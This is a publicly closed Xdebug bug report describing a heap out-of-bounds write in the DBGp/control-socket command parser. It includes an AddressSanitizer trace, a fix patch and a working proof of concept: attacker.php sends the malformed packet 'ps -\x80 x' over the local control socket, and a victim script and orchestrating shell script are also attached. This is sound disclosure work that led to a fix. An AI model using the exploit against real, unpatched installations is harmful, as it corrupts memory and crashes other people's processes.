View Issue Details

IDProjectCategoryView StatusLast Update
0002421XdebugStep Debuggingpublic2026-06-08 14:36
Reporterilia Assigned Toderick  
PrioritynormalSeveritycrashReproducibilityalways
Status closedResolutionfixed 
Product Version3.5.1 
Target Version3.5devFixed in Version3.5.3 
Summary0002421: Crash with wrong option letter in DBGP and socket commands
Description

xdebug_cmd_parse uses *ptr - 'a' as index into 27-slot args->value[] with no range check.
Any byte outside [a-z] (and not '-') lands args->value[opt_index] = xdebug_str_create(...) at an attacker-chosen signed offset off a 216-byte heap allocation.

Fix: reject bytes outside [a-z] | '-' in STATE_OPT_FOLLOWS before opt - 'a' is used (test in patch)

Steps To Reproduce
  1. Start victim.php (xdebug.mode=develop, xdebug.control_socket=default).
  2. Run attacker.php; it opens @xdebug-ctrl.<PID> and sends "ps -\x80 x".
  3. Victim crashes inside xdebug_cmd_parse.
  4. run.sh orchestrates both. Edit PHP=, XDEBUG_SO=, ATTACKER_PHP= at the top.
Additional Information
pid=278109
=================================================================
==278109==ERROR: AddressSanitizer: heap-use-after-free on address 0x511000001738 at pc 0x7d32ae23d7d6 bp 0x7ffc51fc0c20 sp 0x7ffc51fc0c10
READ of size 8 at 0x511000001738 thread T0
    #0 0x7d32ae23d7d5 in xdebug_cmd_parse /home/ilia/xdebug/src/lib/cmd_parser.c:115
    #1 0x7d32ae22e5f4 in handle_command /home/ilia/xdebug/src/base/ctrl_socket.c:142
    #2 0x7d32ae2304b4 in xdebug_control_socket_handle /home/ilia/xdebug/src/base/ctrl_socket.c:297
    #3 0x7d32ae230829 in xdebug_control_socket_dispatch /home/ilia/xdebug/src/base/ctrl_socket.c:426
    #4 0x7d32ae216498 in xdebug_statement_call /home/ilia/xdebug/xdebug.c:716
    #5 0x58c67dfed6be in zend_extension_statement_handler /home/ilia/php-src-8.4/Zend/zend_execute.c:2356
    #6 0x58c67e4f2f5f in zend_llist_apply_with_argument /home/ilia/php-src-8.4/Zend/zend_llist.c:236
    #7 0x58c67e04cb73 in ZEND_EXT_STMT_SPEC_HANDLER /home/ilia/php-src-8.4/Zend/zend_vm_execute.h:3078
    #8 0x58c67e32dfaf in execute_ex /home/ilia/php-src-8.4/Zend/zend_vm_execute.h:59002
    #9 0x7d32ae2279e2 in xdebug_execute_ex /home/ilia/xdebug/src/base/base.c:888
    #10 0x58c67e34d530 in zend_execute /home/ilia/php-src-8.4/Zend/zend_vm_execute.h:64334
    #11 0x58c67e5eae30 in zend_execute_script /home/ilia/php-src-8.4/Zend/zend.c:1934
    #12 0x58c67da81fff in php_execute_script_ex /home/ilia/php-src-8.4/main/main.c:2577
    #13 0x58c67da826c9 in php_execute_script /home/ilia/php-src-8.4/main/main.c:2617
    #14 0x58c67e5f3418 in do_cli /home/ilia/php-src-8.4/sapi/cli/php_cli.c:935
    #15 0x58c67e5f60b1 in main /home/ilia/php-src-8.4/sapi/cli/php_cli.c:1322
    #16 0x7d32b4429d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #17 0x7d32b4429e3f in __libc_start_main_impl ../csu/libc-start.c:392
    #18 0x58c67ca057c4 in _start (/home/ilia/php-src-8.4/sapi/cli/php+0x28057c4)

0x511000001738 is located 120 bytes inside of 216-byte region [0x5110000016c0,0x511000001798)
freed by thread T0 here:
    #0 0x7d32b52b4c38 in __interceptor_realloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:164
    #1 0x7d32ae23637d in xdebug_explode /home/ilia/xdebug/src/lib/usefulstuff.c:123
    #2 0x7d32ae22ace4 in read_systemd_private_tmp_directory /home/ilia/xdebug/src/base/base.c:1252
    #3 0x7d32ae22b3ec in xdebug_base_minit /home/ilia/xdebug/src/base/base.c:1323
    #4 0x7d32ae215e68 in zm_startup_xdebug /home/ilia/xdebug/xdebug.c:515
    #5 0x58c67de21b34 in zend_startup_module_ex /home/ilia/php-src-8.4/Zend/zend_API.c:2446
    #6 0x58c67de30309 in zend_startup_module /home/ilia/php-src-8.4/Zend/zend_API.c:3266
    #7 0x7d32ae2168b6 in xdebug_zend_startup /home/ilia/xdebug/xdebug.c:745
    #8 0x58c67e354ac8 in zend_extension_startup /home/ilia/php-src-8.4/Zend/zend_extensions.c:196
    #9 0x58c67e4f1ad3 in zend_llist_apply_with_del /home/ilia/php-src-8.4/Zend/zend_llist.c:171
    #10 0x58c67e354b53 in zend_startup_extensions /home/ilia/php-src-8.4/Zend/zend_extensions.c:218
    #11 0x58c67da7ffbe in php_module_startup /home/ilia/php-src-8.4/main/main.c:2292
    #12 0x58c67e5ef83c in php_cli_startup /home/ilia/php-src-8.4/sapi/cli/php_cli.c:397
    #13 0x58c67e5f5ebb in main /home/ilia/php-src-8.4/sapi/cli/php_cli.c:1289
    #14 0x7d32b4429d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58

previously allocated by thread T0 here:
    #0 0x7d32b52b4c38 in __interceptor_realloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:164
    #1 0x7d32ae23637d in xdebug_explode /home/ilia/xdebug/src/lib/usefulstuff.c:123
    #2 0x7d32ae22ace4 in read_systemd_private_tmp_directory /home/ilia/xdebug/src/base/base.c:1252
    #3 0x7d32ae22b3ec in xdebug_base_minit /home/ilia/xdebug/src/base/base.c:1323
    #4 0x7d32ae215e68 in zm_startup_xdebug /home/ilia/xdebug/xdebug.c:515
    #5 0x58c67de21b34 in zend_startup_module_ex /home/ilia/php-src-8.4/Zend/zend_API.c:2446
    #6 0x58c67de30309 in zend_startup_module /home/ilia/php-src-8.4/Zend/zend_API.c:3266
    #7 0x7d32ae2168b6 in xdebug_zend_startup /home/ilia/xdebug/xdebug.c:745
    #8 0x58c67e354ac8 in zend_extension_startup /home/ilia/php-src-8.4/Zend/zend_extensions.c:196
    #9 0x58c67e4f1ad3 in zend_llist_apply_with_del /home/ilia/php-src-8.4/Zend/zend_llist.c:171
    #10 0x58c67e354b53 in zend_startup_extensions /home/ilia/php-src-8.4/Zend/zend_extensions.c:218
    #11 0x58c67da7ffbe in php_module_startup /home/ilia/php-src-8.4/main/main.c:2292
    #12 0x58c67e5ef83c in php_cli_startup /home/ilia/php-src-8.4/sapi/cli/php_cli.c:397
    #13 0x58c67e5f5ebb in main /home/ilia/php-src-8.4/sapi/cli/php_cli.c:1289
    #14 0x7d32b4429d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58

SUMMARY: AddressSanitizer: heap-use-after-free /home/ilia/xdebug/src/lib/cmd_parser.c:115 in xdebug_cmd_parse
Shadow bytes around the buggy address:
  0x0a227fff8290: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0a227fff82a0: fd fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0a227fff82b0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0a227fff82c0: fd fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa
  0x0a227fff82d0: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
=>0x0a227fff82e0: fd fd fd fd fd fd fd[fd]fd fd fd fd fd fd fd fd
  0x0a227fff82f0: fd fd fd fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0a227fff8300: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0a227fff8310: fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa fa
  0x0a227fff8320: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
  0x0a227fff8330: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==278109==ABORTING
TagsNo tags attached.
Attached Files
attacker.php (2,069 bytes)   
<?php
/* XD-001 PoC attacker. Connects to the xdebug control socket
 * @xdebug-ctrl.<pid> in the Linux abstract namespace and sends
 * a malformed packet that drives xdebug_cmd_parse into an OOB
 * read/write at src/lib/cmd_parser.c:115-116.
 *
 * Usage: php attacker.php <victim_pid>
 *
 * The malformed packet is `ps -\x80 x`:
 *   - `ps`  : a real command (so the parser enters the option
 *             phase after the first space)
 *   - `-`   : opens an option group
 *   - `\x80`: option byte. opt_index = (signed char)0x80 - 'a'
 *             = -225. args->value[-225] is 1800 bytes below the
 *             216-byte heap allocation.
 *   - ` x`  : value (the OOB write deposits a pointer to an
 *             xdebug_str_create("x", 1) at args->value[-225]).
 *
 * Requires the PHP sockets extension.
 */

if ($argc < 2) {
    fwrite(STDERR, "usage: php $argv[0] <victim_pid>\n");
    exit(1);
}
$pid = (int) $argv[1];

if (!extension_loaded('sockets')) {
    fwrite(STDERR, "this PoC needs the `sockets` PHP extension\n");
    exit(2);
}

$sock = socket_create(AF_UNIX, SOCK_STREAM, 0);
if (!$sock) {
    fwrite(STDERR, "socket_create: " . socket_strerror(socket_last_error()) . "\n");
    exit(3);
}

/* Linux abstract namespace: leading NUL in sun_path. */
$addr = "\x00xdebug-ctrl.$pid";
if (!@socket_connect($sock, $addr)) {
    fwrite(STDERR, "socket_connect failed: " . socket_strerror(socket_last_error($sock)) . "\n");
    exit(4);
}
echo "connected to @xdebug-ctrl.$pid\n";

$payload = "ps -\x80 x";
socket_write($sock, $payload, strlen($payload));
echo "sent: " . bin2hex($payload) . "\n";

$reply = '';
while (($chunk = @socket_read($sock, 4096)) !== false && $chunk !== '') {
    $reply .= $chunk;
}
echo "reply: " . substr($reply, 0, 200) . (strlen($reply) > 200 ? "...\n" : "\n");
socket_close($sock);

echo "\n";
echo "If the victim is running under AddressSanitizer, its stderr\n";
echo "should now contain a heap-use-after-free report at\n";
echo "  src/lib/cmd_parser.c:115\n";
echo "with the bad address inside a 216-byte freed region.\n";
attacker.php (2,069 bytes)   
run.sh (1,478 bytes)   
#!/usr/bin/env bash
# XD-001 PoC orchestrator. See README.txt for prerequisites.
#
# Edit these three paths to match your environment:

PHP=${PHP:-/home/ilia/php-src-8.4/sapi/cli/php}
XDEBUG_SO=${XDEBUG_SO:-/home/ilia/xdebug/modules/xdebug.so}
ATTACKER_PHP=${ATTACKER_PHP:-php}

set -u
HERE=$(dirname "$0")

if [ ! -x "$PHP" ];          then echo "PHP=$PHP not executable"; exit 2; fi
if [ ! -f "$XDEBUG_SO" ];    then echo "XDEBUG_SO=$XDEBUG_SO not found"; exit 2; fi
if ! command -v "$ATTACKER_PHP" >/dev/null; then
    echo "ATTACKER_PHP=$ATTACKER_PHP not found in PATH"; exit 2
fi

VICTIM_OUT=$(mktemp)
trap 'rm -f "$VICTIM_OUT"' EXIT

echo "spawning ASan-instrumented victim ..."
ASAN_OPTIONS=detect_leaks=0:abort_on_error=0:halt_on_error=0:print_stacktrace=1 \
"$PHP" \
    -d zend_extension="$XDEBUG_SO" \
    -d xdebug.mode=develop \
    -d xdebug.control_socket=default \
    "$HERE/victim.php" \
    >"$VICTIM_OUT" 2>&1 &
VICTIM_BG=$!

# Wait for the victim to print its PID and bind the socket.
sleep 1
PID=$(grep -oE 'pid=[0-9]+' "$VICTIM_OUT" | head -1 | cut -d= -f2)
if [ -z "$PID" ]; then
    echo "victim never printed its PID. Output:"
    cat "$VICTIM_OUT"
    kill "$VICTIM_BG" 2>/dev/null || true
    exit 3
fi
echo "victim pid=$PID"

echo
echo "running attacker ..."
"$ATTACKER_PHP" "$HERE/attacker.php" "$PID"

# Let the victim finish so ASan flushes its log.
wait "$VICTIM_BG" 2>/dev/null

echo
echo "---ASan victim log (tail) ---"
tail -80 "$VICTIM_OUT"
run.sh (1,478 bytes)   
victim.php (563 bytes)   
<?php
/* XD-001 PoC victim. Prints its PID, then busy-loops calling a
 * user function so xdebug's per-statement tick fires and
 * dispatches incoming control-socket connections.
 *
 * Run under xdebug.mode=develop with xdebug.control_socket=default.
 */

echo "pid=" . getmypid() . "\n";
flush();

function tick()
{
    /* user function call -> xdebug_execute_ex ->
     * xdebug_control_socket_dispatch */
    return 1;
}

$end = microtime(true) + 8;
while (microtime(true) < $end) {
    for ($i = 0; $i < 100; $i++) {
        tick();
    }
    usleep(1000);
}
victim.php (563 bytes)   
xd001_fix.patch (701 bytes)   
diff --git a/src/lib/cmd_parser.c b/src/lib/cmd_parser.c
index 2978ba9c..e3650125 100644
--- a/src/lib/cmd_parser.c
+++ b/src/lib/cmd_parser.c
@@ -85,8 +85,15 @@ int xdebug_cmd_parse(const char *line, char **cmd, xdebug_dbgp_arg **ret_args)
 				}
 				break;
 			case STATE_OPT_FOLLOWS:
-				opt = *ptr;
-				state = STATE_SEP_FOLLOWS;
+				/* Only accept option letters in [a-z] plus '-'; anything
+				 * else would land args->value[opt - 'a'] outside the
+				 * 27-slot array. */
+				if ((*ptr >= 'a' && *ptr <= 'z') || *ptr == '-') {
+					opt = *ptr;
+					state = STATE_SEP_FOLLOWS;
+				} else {
+					goto parse_error;
+				}
 				break;
 			case STATE_SEP_FOLLOWS:
 				if (*ptr != ' ') {
xd001_fix.patch (701 bytes)   
Operating System
PHP Version8.4.10-8.4.19

Activities

Issue History

Date Modified Username Field Change
2026-05-19 22:53 ilia New Issue
2026-05-19 22:53 ilia File Added: attacker.php
2026-05-19 22:53 ilia File Added: run.sh
2026-05-19 22:53 ilia File Added: victim.php
2026-05-19 22:53 ilia File Added: xd001_fix.patch
2026-05-20 10:24 derick Steps to Reproduce Updated
2026-05-20 16:01 ilia Description Updated
2026-05-20 16:01 ilia Steps to Reproduce Updated
2026-05-20 16:01 ilia Additional Information Updated
2026-05-27 11:26 derick Status new => assigned
2026-05-27 11:26 derick Product Version => 3.5.1
2026-05-27 11:26 derick Target Version => 3.5dev
2026-05-27 11:26 derick Summary Heap OOB write in DBGp / control-socket command parser => Crash with wrong option letter in DBGP and socket commands
2026-05-27 11:36 derick Note Added: 0007499
2026-05-27 13:21 derick Assigned To => derick
2026-05-27 13:21 derick Status assigned => closed
2026-05-27 13:21 derick Resolution open => fixed
2026-05-27 13:21 derick Fixed in Version => 3.5dev
2026-06-08 13:23 derick Note View State: 0007499: public
2026-06-08 13:43 derick Severity minor => crash
2026-06-08 13:43 derick Category Uncategorized => Step Debugging
2026-06-08 13:43 derick View Status private => public
2026-06-08 14:28 derick Fixed in Version 3.5dev => 3.5.2
2026-06-08 14:36 derick Fixed in Version 3.5.2 => 3.5.3